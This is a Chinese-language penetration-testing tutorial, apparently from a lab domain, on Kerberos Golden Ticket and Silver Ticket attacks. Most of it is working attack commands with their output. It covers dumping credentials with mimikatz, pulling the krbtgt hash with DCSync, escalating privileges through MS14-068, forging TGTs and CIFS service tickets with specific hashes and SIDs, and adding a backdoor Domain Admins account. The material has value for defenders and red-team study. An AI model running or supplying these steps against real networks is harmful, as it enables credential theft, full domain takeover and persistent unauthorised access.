黄金票据和白银票据

黄金票据

在Kerberos认证中,Client 通过AS(身份认证服务)后,AS会给Client一个 Logon Session Key 和TGT,而前者不会保存在KDC中,krbtgt的NTLM hash又是一个固定的,所以只要得到krbtgtNTLM Hash,就可以伪造TGT和Logon Session Key 来进入下一步Client 与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不用担心域管理员密码修改。

特点

不需要与AS进行交互,需要用户krbtgt的Hash

条件

  1. 域名称
  2. 域的SID值
  3. 域的KRBTGT账户密码HASH
  4. 伪造用户名,可以是任意的

    伪造凭证,提升权限(MS14-068)

    通过net config workstation 获取信息
    C:\Users\Administrator.test-PC>net config workstation
    计算机名 \TEST-PC
    计算机全名 test-PC.ninitom.cn
    用户名 Administrator

工作站正运行于
NetBTTcpip{D72417A6-3FEE-4E72-9888-C367EF10E98E} (000C293458FA)
NetBTTcpip{12EFD3EF-311C-41FB-BAEE-DDEAAFF265AC} (000C29345804)

软件版本 Windows 7 Ultimate

工作站域 NINITOM
工作站域 DNS 名称 ninitom.cn
登录域 test-PC

COM 打开超时 (秒) 0
COM 发送计数 (字节) 16
COM 发送超时 (毫秒) 250
命令成功完成。
获取到域控制器的主机名
nltest /dsgetdc:ninitom.cn
C:\Users\Administrator.test-PC>nltest /dsgetdc:ninitom.cn
DC: \DC1.ninitom.cn
地址: \10.10.10.10
Dom Guid: d980943d-3b6f-4df6-8385-4de93da743fd
Dom 名称: ninitom.cn
林名称: ninitom.cn
DC 站点名称: Default-First-Site-Name
我们的站点名称: Default-First-Site-Name
标志: PDC GC DS LDAP KDC TIMESERV GTIMESERV WRITABLE DNS_DC DNS_DOMAIN D
NS_FOREST CLOSE_SITE FULL_SECRET WS 0x1C000
抓去密码为n001/Admin@123
mimikatz.exe “privilege::debug” “sekurlsa::logonpasswords” “exit”>log.txt
image.png
使用获取的域内账户进行登录,登录后属于在域内的一个机器账户为n001
MS14-068提权,受影响版本

  1. Microsoft Windows Windows Server 2012 GoldR2
  2. Microsoft Windows Windows Server 2012 Gold
  3. Microsoft Windows Windows 7 SP1
  4. Microsoft Windows Vista SP2
  5. Microsoft Windows Server 2012 R2
  6. Microsoft Windows Server 2008 SP2
  7. Microsoft Windows Server 2003 SP2
  8. Microsoft Windows 8.1
  9. Microsoft Windows 8

先检查下是否有MS14-068, CVE编号CVE-2014-6324,补丁为 3011780
systeminfo |find “3011780”
如果返回为空就说明没有打补丁,存在漏洞,需要注意的是域内普通用户提权成功后是有时效性的。
dir \DC1.ninitom.cn\c$ 查看是否可以访问到DC主机
上传mimikatz和MS14-068提权工具whoami/all查看n001用户的suid:
image.png
MS14-068伪造票据
ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员sid -d 域控制器地址

MS14-068.exe -u n001@ninitom.cn -p Admin@123 -s S-1-5-21-970873778-3225337143-3510277655-1107 -d DC1.ninitom.cn
image.png
使用mimikatz 清空缓存的凭证
kerberos::purge
kerberos::ptc C:\Users\n001\Desktop\TGT_n001@ninitom.cn.ccache
image.png
再次访问域控的目录
添加账号权限
net user test Admin1234 /add /domain
net group “Domain Admins” aaa /add /domain

伪造黄金票据过程

  1. 域名称
  2. 域的sid值
  3. 域的KRBTGT账号的HASH
  4. 伪造任意用户名登录test域管理员账号,执行whoami查看当前用户image.png

使用mimikatz导出用户krbtgt的hash:
privilege::debug
lsadump::dcsync /domain:ninitom.cn /all /csv
lsadump::dcsync /domian:ninitom.cn /user:krbtgt
image.png
获取到krbtgt 用户的hash:
4245d2a4d2bf0fc55153ea91aa2e3537
image.png
获取到krbtgt 用户的osid:
S-1-5-21-970873778-3225337143-3510277655-502
使用mimikatz生成金票据,会生成.kirbi文件保存,可以使用
kerberos::golden /domain:域名 /user:任意用户 /sid:sid不包含-和后面的 /krbtgt:ntlm /ticket:文件名.kirbi
hash也可以使用rc4/aes256,推荐使用aes256,rc4也是ntlm hash对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012,可以使用AES keys代替NT hash
mimikatz “kerberos::golden /domain:域名 /user:任意域用户 /sid:域SID /krbtgt:NTLM_HASH /ptt” exit
mimikatz “kerberos::golden /domain:域名 /user:任意域用户 /sid:域SID /rc4:NTLM_HASH /ptt” exit
mimikatz “kerberos::golden /domain:域名 /user:任意域用户 /sid:域SID /aes256:NTLM_HASH /ptt” exit
使用金票据创建域管理员账号
登录普通用户n001
image.png
查看票据
klist 查看票据
klist purge 清除票据
查看票据为0,如果有使用purge 清除
image.png
运行:
kerberos::golden /domain:ninitom.cn /user:system /sid:S-1-5-21-970873778-3225337143-3510277655 /krbtgt:4245d2a4d2bf0fc55153ea91aa2e3537 /ptt
运行后查看票据,有这个票据基本上算是成功了。
image.png
访问域控目录
image.png
新建aaa用户
net user test Admin@123 /add /domain
net group “Domain Admins” aaa /add /domain
image.png

白银票据

白银票据原理

在Kerberos认证的第三部,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。

特点

  1. 不需要与KDC进行交互
  2. 需要server的NTLM hash

    条件

  3. 域名

  4. 域sid
  5. 目标服务器名
  6. 可利用的服务
  7. 服务账号的NTML HASH
  8. 需要伪造的用户名

    实际操作

    登录新建的aaa域管理员用户,到mimikatz
    privilege::debug
    sekurlsa::logonpasswords
    image.png
    image.png
    kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4: /user:<用户名> /ptt

kerberos::golden /domain:ninitom.cn /sid:S-1-5-21-970873778-3225337143-3510277655 /target:DC1.ninitom.cn /service:cifs /rc4:1e4b1e96170023e3acc5ff4dbc7e9379 /user:1111 /ptt
image.png
可以通过,dir去访问该c盘的目录,也可以psexec去执行DC1
dir \dc1.ninitom.cn\c$
image.png

金票和银票的区别

访问到的权限不同
金票据:伪造TGT,可以获取任意Kerberos的访问权限
银票据:伪造的ST,只能访问特定的服务,如CIFS、LDAP等
认证流程不同
金票据:通kdc交互,不和as交互
银票据:不同KDC交互,直接访问server
加密方式不同
金票据:由krbtgt NTLM Hash加密
银票据:由服务账号NTLM Hash 加密